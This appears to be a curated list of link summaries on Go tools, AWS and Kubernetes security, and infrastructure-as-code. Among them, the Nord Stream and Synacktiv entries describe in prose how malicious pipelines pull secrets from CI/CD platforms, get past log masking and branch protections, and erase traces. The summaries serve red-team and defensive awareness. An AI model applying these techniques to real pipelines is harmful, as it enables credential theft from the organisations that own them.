  • errtrace: An Alternative to Stack Traces for Your Go Errors
    summary

    TL;DR: errtrace from bracesdev is an experimental Go library, inspired by Zig, that records an error’s return trace (the path back up through callers) instead of a creation-time stack trace.

    • Concept: The trace is built incrementally at each return, so it works across goroutines and channels where stack traces mislead.
    • API: Call errtrace.Wrap(err) at each return site; print with errtrace.FormatString(err) or %+v.
    • Auto-instrumentation: errtrace -w ./... rewrites source, usable as an editor formatter; experimental go build -toolexec=errtrace. Opt out with //errtrace:skip.
    • Caveats: Wrapping breaks == comparisons and direct type assertions; use errors.Is and errors.As.
    • Performance: About 14.7 ns/op with 0 allocs for Wrap (198.5 ns/op with the safe tag) vs about 103.5 ns/op for fmt.Errorf; about 188 ns vs 717 ns for pkg/errors at 10 frames.
    • Platform: Uses assembly on amd64 and arm64; other architectures fall back to safe mode.

    Takeaway: A cheap way to get actionable error paths in Go services; try it via the rewriting tool on one package before committing project-wide.

  • Gorse: Open-Source Recommender System Engine
    summary

    TL;DR: Gorse is an Apache-2.0 open-source recommender system engine in Go that trains on users, items and feedback and serves recommendations over REST.

    • Sources: Latest items, user-to-user and item-to-item similarity, collaborative filtering.
    • Multimodal: Text, image and video via embeddings; supports reranker and decision APIs.
    • Architecture: Master node (training, non-personalized recs, config, membership), worker nodes (offline per-user recs), server nodes (REST API, real-time recs).
    • Storage: MySQL/MariaDB, MongoDB or Postgres for data; Redis, MySQL, MongoDB or Postgres for cache.
    • Ops: GUI dashboard on the master for pipeline editing, monitoring and import/export.
    • Quick start: docker run -p 8088:8088 zhenghaoz/gorse-in-one --playground loads a GitHub-repos demo at localhost:8088.

    Takeaway: A self-hostable alternative to building recommendations from scratch or buying a SaaS; the playground image is a quick way to evaluate it.

  • 2023 Global DevSecOps Report Series
    summary

    (Could not fetch full text.)

    TL;DR: GitLab’s 2023 Global DevSecOps Report series surveyed developers, security and operations staff on security practices and AI adoption; the landing page now shows a newer edition.

    • Source caveat: The URL now hosts the 2026 report, so 2023 figures come from GitLab press releases and coverage found via web search.
    • April 2023 (Security Without Sacrifices): More than 5,000 respondents surveyed in March 2023; 71% of security pros said developers catch a quarter or more of vulnerabilities, up from 53% in 2022.
    • AI in testing: 62% of developers used AI/ML to check code (51% in 2022) and 53% used bots in testing (39% in 2022).
    • September 2023 (State of AI): Over 1,000 respondents in June 2023; 83% said AI adoption is essential, 79% worried about AI tools accessing private data or IP.
    • Security and AI: 40% cited security as an AI benefit; 40% of security pros feared AI code generation would add to their workload; 81% wanted more AI training.

    Takeaway: Useful benchmark numbers for shift-left and AI adoption discussions; pull the full PDFs for methodology before quoting them.

  • re:Invent 2023 Recap
    summary

    TL;DR: Chris Farris’s opinionated security-focused recap of AWS re:Invent 2023, covering what he finds useful, risky or overhyped.

    • Security Hub: Central configuration and customizable controls fix multi-account pain; worries that cyber insurers may adopt AWS-defined best practices blindly.
    • GuardDuty and Inspector: ECS on Fargate runtime monitoring matters since sidecars are hard there; agentless Inspector EC2 scanning will surface old non-SSM instances.
    • IAM Access Analyzer: New paid unused-access findings at $0.20 per role or user per month, worth it if it works; custom policy checks too.
    • Identity and data: EKS Pod Identity is a significant new credential path teams will adopt without understanding; S3 Access Grants changes data access models; ALB mTLS welcomed.
    • Governance: AWS Config still lacks good delegated admin and cross-region management; dislikes Control Tower for small companies; interested in Data Exports, CloudTrail Lake and CloudWatch Logs Infrequent Access.
    • GenAI: Calls Amazon Q an omnipotent practical joker, suggests blocking Q and possibly Bedrock IAM prefixes via SCP, cites OWASP Excessive Agency for Bedrock Agents.
    • Snark: Console-to-Code hallucinated CloudFormation types.

    Takeaway: Prioritize Security Hub central config, Access Analyzer unused access and a Pod Identity review, and decide on an SCP stance for Amazon Q and Bedrock.

  • Bolstering Security and Automating Management of Target Australia’s EKS Clusters
    summary

    (Could not fetch full text.)

    TL;DR: Gazal Gafoor (GitHub @gazal-k) describes how Target Australia runs its Amazon EKS clusters, with Bottlerocket nodes for security and Karpenter in place of Cluster Autoscaler for node management.

    • Node OS: Bottlerocket, the container-focused AWS OS, chosen for its security benefits.
    • Autoscaling: A move from Cluster Autoscaler to Karpenter, described as more cost-effective and flexible.
    • Adoption: Karpenter’s ADOPTERS.md lists Target Australia using Karpenter to scale and auto-update the EKS compute behind much of the Target Online platform.
    • Scope: An operator’s experience report on running EKS at scale, not a vendor tutorial.
    • Source caveat: Medium returned 403. This summary uses the Learn Kubernetes Weekly issue 53 blurb and the Karpenter adopters list, not the article body.

    Takeaway: Bottlerocket plus Karpenter is a common EKS baseline for a smaller node attack surface and automated node updates. Read the original for Target’s exact configuration.

  • Deep Dive into the New Amazon EKS Pod Identity Feature
    summary

    TL;DR: Christophe Tafani-Dereeper (Datadog Security Labs) reverse-engineers EKS Pod Identity, the November 2023 alternative to IRSA for giving pods AWS credentials, and looks at its security implications.

    • Mechanism: Associations map a service account to an IAM role via aws eks create-pod-identity-association. An admission webhook injects container credential provider env vars into pods.
    • Agent: The eks-pod-identity-agent DaemonSet in kube-system runs with host networking and CAP_NET_BIND_SERVICE, listening on 169.254.170.23:80.
    • Research method: Agent binary pulled with crane and analysed with Ghidra and redress, since it was initially closed source. AWS open-sourced it in mid-2024 and the findings held.
    • Risk: If the worker node role has eks-auth:AssumeRoleForPodIdentity, an attacker on the node can request credentials for any pod’s role.
    • Auditability: Listing associations (list-pod-identity-associations) is simpler than parsing IRSA trust policies. Datadog’s MKAT tool was extended to map these relationships.
    • Update (June 2025): Cross-account access via targetRoleArn with role chaining, which needs specific trust relationships.

    Takeaway: Treat node compromise as compromise of every pod role on that node, and use association listing to audit pod-to-role mappings. IRSA is not going away, so expect to audit both.

  • IceKube: Finding Complex Attack Paths in Kubernetes Clusters
    summary

    (Could not fetch full text.)

    TL;DR: IceKube is a WithSecure Labs tool that finds attack paths in a Kubernetes cluster, from a low-privileged starting point to targets such as cluster-admin, using a Neo4j graph.

    • Model: Cluster resources go into Neo4j and are explored with Cypher. Attack-path relationships carry attack_path = 1 so queries can filter for them.
    • Commands: enumerate (collect resources), attack-path (build attack relationships), run (both), purge, plus download and load for offline analysis.
    • Setup: Start Neo4j with docker-compose or Docker, install via Poetry or pip, and point kubectl at the cluster with a cluster-admin account.
    • Data handling: Needs read access to secrets. It strips secret data on ingest but keeps types and annotations. Events and componentstatuses are skipped by default.
    • Usage tip: Disable ‘Connect result nodes’ in the Neo4j browser to avoid rendering every relationship.
    • Source caveat: The labs.withsecure.com page now redirects to a generic WithSecure hub. This summary is based on the WithSecureLabs/IceKube GitHub README.

    Takeaway: Useful for RBAC reviews and pentests where privilege chains span service accounts, pods and secrets. Run it from a trusted host, since it needs near-admin read access.

  • Security Architect and Principal Security Engineer Interview Questions
    summary

    TL;DR: Tad Whitaker’s GitHub list of Glassdoor-sourced interview questions for senior IC security roles, Security Architect and Principal Security Engineer. It is a companion to his 2016 Security Engineer list.

    • Motivation: The earlier list did not separate career levels. This one targets the top of the non-manager ladder (L6).
    • Source: Questions pasted from Glassdoor into one Markdown file. No total count is stated.
    • Mix: About 7.8 Security Architect questions for every Principal Security Engineer question.
    • Companies: Includes Netflix, Morgan Stanley, 7-Eleven, Airbus, Alcoa and Wiz. Small startups are absent, likely because they lack these roles.
    • Categories: Technical, Behavioral/Influential, and Frameworks/Design/Threat Modeling.
    • Finding: The author saw no clear difference between the two roles’ question sets.

    Takeaway: A practical prep list for senior security interviews, weighted towards architecture and threat-modeling discussion. Pair it with real design exercises, since the questions are lightly curated.

  • Awesome Roadmaps
    summary

    TL;DR: Awesome Roadmaps (liuchong) is a curated GitHub list of learning roadmaps, mostly for software development, with about 7.4k stars.

    • Categories: Programming Language, Web, Mobile, Infrastructure/Operations, Game Development, AI/ML/Data Science, Security, Miscellaneous, Tools & Resources, Articles & Books.
    • Anchor entry: The interactive Developer Roadmap project.
    • Language and web: C++, Go, Java, Node.js, PHP, Angular, React, Vue and Frontend roadmaps.
    • Ops: DevOps Roadmap and Platform Engineering Roadmap.
    • AI: Microsoft AI for Beginners, Hugging Face Agents Course, LLM Course, and Anthropic’s ‘Building Effective Agents’ article.
    • Contributing: Pull requests or issues.

    Takeaway: A starting index for building a study plan in an unfamiliar area. Check each linked roadmap for freshness before you follow it.

  • Nord Stream: Extract Secrets from CI/CD Environments by Deploying Malicious Pipelines
    summary

    TL;DR: Nord Stream, from Synacktiv, extracts secrets from CI/CD platforms by deploying malicious pipelines. It supports Azure DevOps, GitHub and GitLab.

    • Azure DevOps: Dumps variable groups, secure files and service connections (AzureRM, GitHub, AWS, SonarQube, SSH). It lists orgs from a token and can generate self-hosted runner YAML for SSH connections.
    • GitHub: Extracts repo, environment and org secrets. It can list and disable branch protections (admin needed), obtain Azure or AWS OIDC credentials via workflows, and GPG-sign commits to satisfy signature rules.
    • GitLab: Lists and extracts CI/CD variables and secure files. Listing needs admin, but a low-privilege user with write access can exfiltrate via a pipeline.
    • Flags: --token, --org, --repo, --project, --env, --yaml, --build-yaml, --list-secrets, --list-protections, --describe-token, --no-clean, --clean-logs, --force, --output-dir.
    • Opsec: It cleans pipeline traces by default (--no-clean keeps them). GitLab activity-tab pipeline logs cannot be deleted.
    • Install: pipx from the Git repo. Requires git in PATH.

    Takeaway: Anyone with push rights to a pipeline can read its secrets. Scope tokens tightly, use environment protections and OIDC, and alert on unexpected pipeline runs and branch-protection changes.

  • CI/CD Secrets Extraction: Tips and Tricks
    summary

    TL;DR: Hugo Vincent and Théo Louis-Tisserand (Synacktiv, March 2023) explain how a red team pulled CI/CD secrets from Azure DevOps, GitHub Actions and GitLab, then pivoted into Azure and GitHub. This is the write-up behind the Nord Stream tool.

    • Cleartext leaks: Repo history checked for committed secrets with TruffleHog and Gitleaks.
    • Azure DevOps: Pipelines print variable-group secrets, secure files and service-connection credentials (ARM, GitHub). Output is encoded to dodge log masking.
    • GitHub: Workflows dump repo and environment secrets and request OIDC tokens from federated trusts.
    • GitLab: Admins read CI/CD variables via API. Lower-privileged users run pipelines that print env vars.
    • Bypasses: GitHub environment rules (reviewers, branch policies), branch protections and GitLab protected branches can be changed or removed by admin tokens. Developer push to a protected branch can expose protected secrets.
    • Defences: Rotate any leaked secret, stream audit and deployment logs to a SIEM, enforce signed commits, apply least privilege, scan continuously, and prefer short-lived OIDC.

    Takeaway: CI/CD masking is not a security boundary. Assume anyone who can edit a pipeline can read every secret it gets, and design permissions around that.

  • Avoid Accidental Exposure of Authenticated Amazon API Gateway Resources
    summary

    TL;DR: Mark Wolfe (November 2023) shows how API Gateway APIs meant to use IAM auth can expose resources publicly, and how to layer defences with AWS SAM.

    • Misconfiguration: The API uses AWS_IAM, but no default authorizer is set. Any resource that omits an auth method is public.
    • Fix 1: Set a default authorizer (DefaultAuthorizer: AWS_IAM) so unconfigured resources are protected.
    • Fix 2: Set auth on every resource, for example with the x-amazon-apigateway-auth OpenAPI extension.
    • Fix 3: Attach a resource policy that requires IAM and limits callers to listed accounts (ResourcePolicy with AwsAccountWhitelist).
    • Verification: With the default authorizer, an unauthenticated call returns ‘Missing Authentication Token’. With only the resource policy, the call is denied for lacking execute-api:Invoke.

    Takeaway: Do not rely on per-route auth alone. Set a default authorizer and a resource policy so one forgotten route does not become public.

  • terraform-null-label: The Why and How It Should Be Used
    summary

    TL;DR: Matt Gowie (Masterpoint, October 2023) explains Cloud Posse’s terraform-null-label module, which generates consistent resource names and tags so naming conventions do not depend on people reading docs.

    • Inputs: namespace (2-4 letter org code), tenant, environment (region shorthand such as uw2), stage (dev/stage/prod), name (component, such as rds) and attributes (extra descriptors).
    • Outputs: id for resource names and tags for tagging any resource or module.
    • Chaining: A second label inherits through the first module’s context output and overrides only what differs, for example private vs public load balancers.
    • Customisation: Delimiter and label order are configurable.
    • context.tf: Simplifies passing context through root and child modules and workspaces. Advanced use is deferred to a follow-up post.
    • Caveats: ‘stage’ naming is legacy, and ’environment’ means region, the inverse of common usage. Examples are simplified.

    Takeaway: Use null-label (or context.tf) early in a Terraform codebase to get uniform names and tags. Agree on what environment and stage mean before you roll it out.

  • Kubernetes Security Fundamentals: API Security
    summary

    TL;DR: Part 2 of Rory McCune’s Kubernetes security fundamentals series (Datadog Security Labs, December 2023). It maps which ports and endpoints each Kubernetes component exposes, and what needs authentication, on kubeadm and managed clusters.

    • etcd: 2379/2380 need client certs. 2381 serves metrics on localhost with no auth or TLS.
    • kube-apiserver: 6443 on all interfaces. /version and /healthz are allowed unauthenticated.
    • Control plane: Controller manager (10257) and scheduler (10259) bind to localhost and need auth except for health checks.
    • Node: Kubelet 10250 needs credentials except at root. kube-proxy has unauthenticated metrics on 10249 and health on 10256.
    • Managed services: EKS/AKS/GKE API endpoints may be internet-exposed by default. AKS requires auth for all apiserver access. GKE exposes the read-only kubelet port 10255. AKS and EKS expose kube-proxy metrics on all interfaces.
    • Recommendations: Restrict the API server with IP allowlists, private endpoints or firewalls. Keep etcd, scheduler and controller manager local or firewalled, and encrypt in transit.

    Takeaway: A handy port reference for firewall rules and exposure reviews. Check whether your managed cluster’s API endpoint is public by default.

  • Zonal Autoshift: Automatically Shift Traffic Away from Availability Zones with Potential Issues
    summary

    TL;DR: AWS (Sébastien Stormacq, November 2023) launched zonal autoshift in Route 53 Application Recovery Controller. AWS shifts your load balancer traffic away from an Availability Zone when its internal monitoring detects a problem, then shifts it back.

    • Trigger: AWS-initiated only. There is no API to start an autoshift.
    • Practice runs: A weekly 30-minute rehearsal on enabled resources. You can block UTC windows, and two CloudWatch alarms act as circuit breakers (one blocks start, one aborts on health).
    • Supported: ALBs and NLBs with cross-zone load balancing disabled.
    • Requirements: Enable per resource and keep spare capacity in the remaining AZs. Pre-scaling is advised, since Auto Scaling may react slowly.
    • Limits: One AZ at a time. You cannot trigger it for testing, but a manual zonal shift behaves the same.
    • Cost: No extra charge, in all Regions except China and GovCloud.

    Takeaway: Cheap AZ-failure resilience if you already run static stability with spare capacity. Wire up the practice-run alarms before you enable it.

  • Moving Away from CDK
    summary

    TL;DR: SST (January 2024) explains why it is dropping AWS CDK and CloudFormation for Ion. Ion defines components with Terraform providers and deploys them through an embedded Pulumi engine, and it will become SST v3.

    • Core complaint: CDK only generates CloudFormation, and ‘CloudFormation is a black box that does not run locally’.
    • Listed problems: Cyclical dependencies when linking resources, ‘Export in use’ errors, swallowed errors, custom-resource workarounds, rollback failures, double builds, orphan stacks, hard imports and slow deploys.
    • Limits: CloudFormation caps a stack at 500 resources, and one Next.js site creates about 68.
    • State: Ion stores deployment state in an S3 bucket in the user’s account.
    • Roadmap: SST v2 gets updates but no new constructs, and Ion becomes v3 once stable.

    Takeaway: A concrete list of CloudFormation pain points to weigh when choosing IaC. If you have hit the same issues, Terraform or Pulumi-based tooling avoids them.

  • Three New Capabilities for Amazon Inspector Broaden Vulnerability Scanning for Workloads
    summary

    TL;DR: AWS (Sébastien Stormacq, November 2023) added three Amazon Inspector capabilities: build-time container scanning, agentless EC2 scanning, and generative-AI code fixes for Lambda.

    • CI/CD scanning: Jenkins and TeamCity plugins, an API and a CLI generate an SBOM, send it to Inspector and return near-real-time results to gate builds. You do not need to enable Inspector.
    • Agentless EC2 (preview): Snapshots EBS volumes, scans them, then deletes the snapshots. Hybrid mode combines this with SSM-agent scanning. Preview in us-east-1, us-west-2 and eu-west-1.
    • Lambda code remediation: Generative AI plus automated reasoning flags injection, data leaks, weak crypto and missing encryption, and suggests patches inline. Available in 10 Regions at no extra cost.
    • Pricing: On demand, per EC2 instance or per image scan. The build-time API is in 21 Regions.

    Takeaway: Agentless mode covers EC2 instances without SSM, and the CI plugin moves image scanning before deployment. Review AI-suggested patches like any other PR.

  • How to Improve Cross-Account Access for SaaS Applications Accessing Customer Accounts
    summary

    TL;DR: Ashwin Phadke (AWS Security Blog, November 2023) gives SaaS providers patterns for accessing customer AWS accounts without long-term access keys and without confused-deputy risk.

    • Anti-pattern: Asking customers for IAM user access keys, which need manual rotation.
    • Technique 1: A customer-created cross-account role whose trust policy requires a unique sts:ExternalId that the provider passes in every AssumeRole call.
    • Technique 2: Least-privilege roles per product component, reached through one integration role via role chaining (A to B to C) with optional session policies. Chained sessions are capped at 1 hour.
    • Technique 3: ABAC with role tags as trust-policy conditions, and transitive session tags for better CloudTrail attribution.
    • Recommendations: Generate unique external IDs, scope roles narrowly, ship integration guides, and plan for hourly session refresh.

    Takeaway: If you build or buy SaaS that touches AWS accounts, require role assumption with a per-customer external ID and refuse long-lived keys.

  • Optimize AWS Administration with IAM Paths
    summary

    TL;DR: David Rowe and Valentine Reid (AWS Security Blog, November 2023) show how IAM paths group roles and policies by team or function, so you can scope permissions and guardrails with wildcard ARNs.

    • Concept: A path is a prefix such as /developer/ in arn:aws:iam::111122223333:role/developer/S3Access. The default is /, and paths can nest.
    • Reserved: Service-linked roles live in /aws-service-role/.
    • Scoping: Grant management over role/teamA/* only. Deny principals outside a path with aws:PrincipalArn plus ArnNotLike.
    • Other keys: iam:PolicyARN limits which managed policies can be attached, and iam:PassRole limits which roles can be passed.
    • Guardrails: SCPs can block changes to roles and policies in sensitive paths such as /security/.
    • Limit: Role names must be unique in an account regardless of path.

    Takeaway: Paths let you delegate IAM administration per team without listing every role ARN. Plan them early, because the path is part of the ARN that policies match on.

  • Use IAM Roles Anywhere to Improve Security in On-Premises Container Workloads
    summary

    TL;DR: Ulrich Hinze and Alex Paramonov (AWS Security Blog, November 2023) walk through replacing static IAM user keys in on-premises containers with temporary credentials from IAM Roles Anywhere and X.509 certificates.

    • Role: bucket-lister, trusted only by rolesanywhere.amazonaws.com for certificates with CN myContainer, granting s3:ListAllMyBuckets.
    • Trust anchor: myPrivateCA, created from the CA certificate to trust the on-prem PKI.
    • Profile: bucket-lister, linked to the role ARN.
    • Flow: The container signs a CreateSession request with its private key and gets temporary credentials. The demo then runs aws s3 ls.
    • Cert checks: OpenSSL is used to verify the CA and end-entity certificates meet Roles Anywhere requirements.
    • Caveat: The demo CA is a 3-year OpenSSL CA, called ’not suitable’ for production. Use existing PKI or AWS Private CA with short-lived, auto-rotated certs.

    Takeaway: For workloads outside AWS, Roles Anywhere removes long-lived keys if you already run PKI. Certificate issuance, rotation and revocation become the real security control.

  • go-recipes: Tools for Go Projects
    summary

    TL;DR: go-recipes by Nikolay Dubina is an MIT-licensed catalogue (about 4.8k stars) of commands and tools for Go projects. Each entry is a short recipe with the command to run.

    • Testing: Coverage browsing and treemaps (go-cover-treemap, gocov-html, gocovsh), PR coverage comments, shuffled, parallel and fuzz tests, and goroutine-leak checks (goleak).
    • Test output: tparse, gotestsum (slowest tests, reruns, JUnit), richgo, gotestdox.
    • Mutation testing: ooze and several go-mutesting forks.
    • Dependencies: Upgrade checks, module Go versions, go-libyear, graphs with modgraphviz, import-graph and goda, and licence scraping with go-licenses.
    • Other areas: Repo topics also list benchmarking, code generation, code visualisation, compilers, profiling and static analysis.
    • Source caveat: This summary is based on the README section headings and repo topics, not a full read.

    Takeaway: Bookmark it as a lookup table when you need a Go tool for coverage, flaky tests or dependency audits.

  • Sign in with GitHub in Go
    summary

    TL;DR: Eli Bendersky (December 2023) implements ‘Sign in with GitHub’ in Go using GitHub’s OAuth web application flow, for authentication only.

    • Flow: Redirect to GitHub, receive a temporary code on the callback, exchange it with client ID and secret for a token, then call the user API. No extra scopes are requested.
    • Three variants: Standard library only, golang.org/x/oauth2, and the gologin middleware package (StateHandler, CallbackHandler).
    • CSRF: A random state cookie that expires after 1 hour.
    • Routes: / (login link), /login/ (redirect) and /github/callback/ (validate state, exchange code, fetch user).
    • Caveats: No real session layer. Credentials come from env vars, error handling uses panic and log.Fatal, and the gologin debug cookie config is for non-TLS dev only.

    Takeaway: A clear reference for the OAuth code-exchange mechanics. Add proper sessions, error handling and secure cookies before you use it in production.

  • aws-summarize-account-activity: Summarize Recently Active IAM Principals, API Calls and Regions from CloudTrail
    summary

    TL;DR: aws-summarize-account-activity (welldone-cloud) is a Python script that reads an AWS account’s CloudTrail event history and summarises active IAM principals, their API calls, regions, source IPs and user agents.

    • Output: A JSON file of summaries by principal, region, error code, IP and user agent. Optional PNG charts with --plot-results.
    • Flags: --activity-type (ALL, SUCCESSFUL or FAILED), --past-hours (default 336, max 2160 = 90 days), --dump-raw-cloudtrail-data (JSONL), --profile.
    • Permissions: Only ec2:DescribeRegions and cloudtrail:LookupEvents.
    • No setup: Uses the default 90-day event history via LookupEvents, so no trail is required.
    • Limits: LookupEvents is throttled to 2 requests/second, so large accounts are slow. Management events only, and not every service logs to CloudTrail.
    • Requirements: Python 3.10+.

    Takeaway: A quick first look in incident response or account inheritance to see who is active and from where. For bigger windows or data events, use Athena over a trail.

  • Considerations for Keeping Images Up to Date
    summary

    TL;DR: A Chainguard Academy guide on balancing security patches against stability when you update container images. Chainguard rebuilds its images daily.

    • Versioning: Explains semver (X.Y.Z) and image references ([host]/[repository][image_name][:tag]).
    • Tags: Mutable. ’latest’ is only a convention, and pinning to a major or minor tag can bring unexpected version jumps.
    • Digests: Immutable content hashes that guarantee reproducibility but are hard to read.
    • Automation tools: Watchtower, FluxCD, Argo CD Image Updater, Renovate, Dependabot and Chainguard’s Digestabot GitHub Action.
    • Recommendation: Pin by digest and keep digests current with automated PRs. Chainguard requires human approval before deploy.
    • Caveat: Fully automate only as far as your test suite and risk appetite allow. ‘There is no one-size-fits-all approach’.

    Takeaway: Digest pinning plus a bot that opens update PRs (Digestabot or Renovate) gives you reproducibility and fresh patches. Gate merges on tests.

  • AWS Security Services Best Practices
    summary

    TL;DR: An AWS-maintained, open-source guide (aws/aws-security-services-best-practices on GitHub) on deploying and running AWS security services well. It is explicitly not a general AWS security best-practices guide.

    • Services: GuardDuty, Security Hub (including CSPM), Inspector, Macie, Detective, Security Lake, WAF, Network Firewall, Route 53 Resolver DNS Firewall, certificate services, and more.
    • Structure: Per-service guides that go from pre-deployment considerations through post-enablement to full operationalisation. Some have subpages, for example WAF managed rules, custom rules, bot control and logging.
    • Approach: Use-case and design-factor driven, not a numbered checklist.
    • Extras: A network security fundamentals section, and links to sibling guides for EKS, ELB, observability and networking.
    • Languages: English, Korean and Japanese. Outside contributions are welcome.

    Takeaway: Read the relevant section before you enable a service org-wide. It covers the delegated-admin, multi-account and tuning decisions that console defaults skip.

  • Migrate from Service Account Keys in Google Cloud
    summary

    TL;DR: Google Cloud IAM documentation on moving an organisation off service account keys in three phases: Assess, Plan and Deploy.

    • Assess: Use service account usage insights to find keys, recent key use and accounts unused for 90 days. A reference architecture exports this to a BigQuery table, sa_key_usage. Role recommendations flag excess permissions.
    • Plan: Define scope, find quick wins (keys on inactive resources), choose enforcement points, design an exceptions process and talk to workload owners.
    • Enforce: The iam.disableServiceAccountKeyCreation org policy, with tag-based exemptions. It does not affect existing keys.
    • Alternatives: Workload Identity Federation for GKE, attached service accounts, user credentials for dev, service account impersonation, and Workload Identity Federation for on-prem or other clouds.
    • Rollout: Disable keys before deleting them so you can roll back. A key exposure response constraint can auto-disable leaked keys.
    • Exceptions: Some third-party products still need an uploaded key.

    Takeaway: Block new key creation first, then work through existing keys by usage data. Federation and attached identities cover most cases.

  • Atuin: Shell History in SQLite with Context and Sync
    summary

    TL;DR: Atuin replaces shell history with a SQLite database that records context for each command, and can sync history across machines with end-to-end encryption.

    • Context stored: Exit code, working directory, hostname, session and duration.
    • UI: Rebinds ctrl-r and up-arrow to a full-screen search. Filter modes cover session, directory or global. Alt- jumps to an entry, Enter runs and Tab edits.
    • Sync: Optional and fully encrypted, so the server cannot read history. Use the hosted server, self-host, or run offline.
    • Shells: zsh, bash, fish, nushell, xonsh, PowerShell.
    • Setup: Run the installer from setup.atuin.sh, then atuin register -u <USERNAME> -e <EMAIL>, atuin import auto, atuin sync.
    • Extras: Stats such as most-used commands. Your old history file is left in place.
    • Caveat: Bash support depends on bash-preexec, which has limitations.

    Takeaway: A big upgrade for anyone who works across several hosts. Self-host the sync server, or keep it offline if shell history might hold secrets.

  • Flowpipe: Cloud Scripting Engine for Workflows as Code
    summary

    TL;DR: Flowpipe, from Turbot, is an AGPL-3.0 ‘cloud scripting engine’ for workflows as code. Pipelines are written in HCL and connect cloud APIs, people and systems.

    • Pipelines: Ordered HCL steps that make HTTP calls, request human input, send messages, run queries or call other pipelines.
    • Triggers: Webhook, query or schedule.
    • Mods: Library mods for AWS, Azure, GCP, GitHub, Jira, Okta, PagerDuty, Slack, Teams and others, plus sample mods on the Flowpipe hub.
    • Ecosystem: Works with Steampipe (data access) and Powerpipe (dashboards). Turbot Pipes is the hosted team offering.
    • Install: Homebrew on macOS, or a shell script on Linux and WSL. Build from source with make.
    • Commands: flowpipe pipeline list --mod-location <path>, flowpipe pipeline run --mod-location <path> <pipeline>.

    Takeaway: An option for version-controlled cloud remediation and ChatOps-style approvals if you already use Steampipe. Note the AGPL licence before embedding it.

  • Setting Secure Defaults on AWS and Avoiding Misconfigurations
    summary

    TL;DR: Scott Piper (Wiz, December 2023) lists account-level AWS settings and SCPs that set secure defaults, block risky features and stop those guardrails from being undone.

    • S3: Block Public Access (aws s3control put-public-access-block) plus Bucket owner enforced (put-bucket-ownership-controls) to disable ACLs, each locked with an SCP.
    • Sharing: EC2 AMI block public access (deny ec2:DisableImageBlockPublicAccess), SSM public document sharing disabled per region (aws ssm update-service-setting), and RAM sharing to external principals denied.
    • Lambda: An SCP requires AWS_IAM auth on function URLs.
    • IAM: An SCP denies creating IAM users, access keys and login profiles. Use roles instead.
    • EC2: Require IMDSv2 via MetadataHttpTokens and limit hop count. Run aws ec2 enable-ebs-encryption-by-default in every region (existing volumes are not affected).
    • Network and admin: Block IGW, peering and Global Accelerator changes in workload accounts, and pin an admin role to a source IP.
    • Caveat: Review CloudTrail and Access Advisor first, since restrictions can break workloads. EC2 APIs still default to allowing IMDSv1.

    Takeaway: A ready-made checklist for a new AWS Organization baseline. Apply the settings, then lock each one with an SCP.

  • How to Use Dockerfiles with wolfi-base Images
    summary

    TL;DR: Adrian Mouat (Chainguard, September 2023) shows how to keep normal Dockerfile workflows while building on Wolfi and Chainguard images.

    • static image: For statically compiled binaries in multi-stage builds. A Distroless replacement.
    • glibc-dynamic: For software that needs common shared libraries. JDK and JRE images cover Java.
    • wolfi-base: Includes apk and a shell, for when you need specific packages or versions.
    • Examples: Tailscale golink pins a Go compiler on wolfi-base with a shell-less final image. A Python build pins 3.11 with apk’s ~ syntax. A network debug image is about 50 MB.
    • Caveat: Wolfi is rolling and ships only ’latest’. Final images built on wolfi-base keep a shell and package manager.

    Takeaway: Build in wolfi-base and copy artefacts into a minimal Chainguard runtime image to keep the attack surface small. Pin package versions, because Wolfi rolls forward.

  • vscode-terraform-live-graph: Live Terraform Graph in VS Code as You Code
    summary

    TL;DR: An MIT-licensed VS Code extension by adamiBs that renders a live Terraform resource graph beside your editor as you type.

    • Requirements: Terraform CLI on PATH, Graphviz, and VS Code 1.75.1 or later.
    • Usage: Open a .tf file and run ‘Terraform Graph View’ from the Command Palette. The graph appears on the right and updates on edit.
    • Under the hood: Relies on Terraform’s graph output rendered through Graphviz.
    • Limits: Files must be valid Terraform. The README does not document behaviour on large configs.

    Takeaway: Handy for seeing dependencies while you write modules. Do not expect it to stay readable on big root modules.

  • aws2tf: Import Existing AWS Resources into Terraform and Generate HCL
    summary

    TL;DR: aws2tf (aws-samples) is a Python tool that imports existing AWS resources into Terraform state and writes matching HCL, aiming for a clean terraform plan afterwards.

    • Behaviour: Replaces hardcoded values with references, follows and imports dependencies, swaps account and region literals for data sources, then runs terraform plan to confirm there are no changes.
    • Coverage: About 1,600 resource types (the README cites 1,582 and 1,612 in different places).
    • Flags: -t (types), -i (ID), -m (merge), -s (stack), -f (experimental multithreading), -tv (provider version), plus data-source switches -dnet, -dsgs, -dkms, -dkey, -ec2tag.
    • Requirements: macOS or Linux, Python 3.12+, boto3, AWS CLI v2, Terraform 1.12+ and jq. Use the v5 branch for provider 5.x.
    • Limits: Whole-account scans are ‘Not recommended’ (slow). State is local only, and test coverage is 25%.

    Takeaway: Useful for bringing click-ops resources under Terraform. Import by type or ID, review the generated code, then move state to a remote backend.

  • The Uber Go Style Guide
    summary

    TL;DR: Uber’s Go Style Guide (Apache-2.0, about 17.8k stars) documents the Go conventions used at Uber, in one style.md, with 17 community translations.

    • Guidelines: Verify interface compliance at compile time, copy slices and maps at boundaries, keep channel size one or none, start enums at one, and use time for time.
    • Safety rules: Handle type-assertion failures, don’t panic, avoid mutable globals and init(), exit only in main, and don’t fire-and-forget goroutines.
    • Errors: A dedicated section on error types, wrapping and naming.
    • Performance: Prefer strconv over fmt, avoid repeated string-to-byte conversions, and preallocate container capacity.
    • Style: Import grouping, reduced nesting, no unnecessary else, _ prefix for unexported globals, and no naked parameters.
    • Patterns: Table-driven tests and functional options.
    • Linting: Recommends lint runners. The repo ships a .golangci.yml.

    Takeaway: A sensible default Go style for a team. Adopt it wholesale and enforce it with golangci-lint instead of writing your own.

  • Kamal: Deploy Web Apps Anywhere
    summary

    TL;DR: Kamal, from Basecamp (MIT), deploys containerised web apps to bare-metal or cloud VMs over SSH, with zero-downtime switching. It started with Rails but works with any app packaged in Docker.

    • Execution: Runs commands on hosts over SSH via SSHKit. Works across one or many servers.
    • Routing: kamal-proxy moves traffic between old and new containers to give zero-downtime deploys.
    • Scope: Any Docker-packaged web app.
    • Docs: Install, config and command reference are at kamal-deploy.org, not in the README.
    • Source caveat: The README is brief. Details beyond the above come from the linked docs site, which was not read.

    Takeaway: A simpler option than Kubernetes for running a few apps on your own servers. Lock down the SSH access it relies on.

  • AWS Account Security Onboarding Mind Map
    summary

    TL;DR: Artem Marusov (LinkedIn, January 2024) shares a mind map that works as a checklist for the minimum security setup when you add a new account to an existing AWS Organization.

    • Approach: AWS-first, with no commercial or open-source third-party tools.
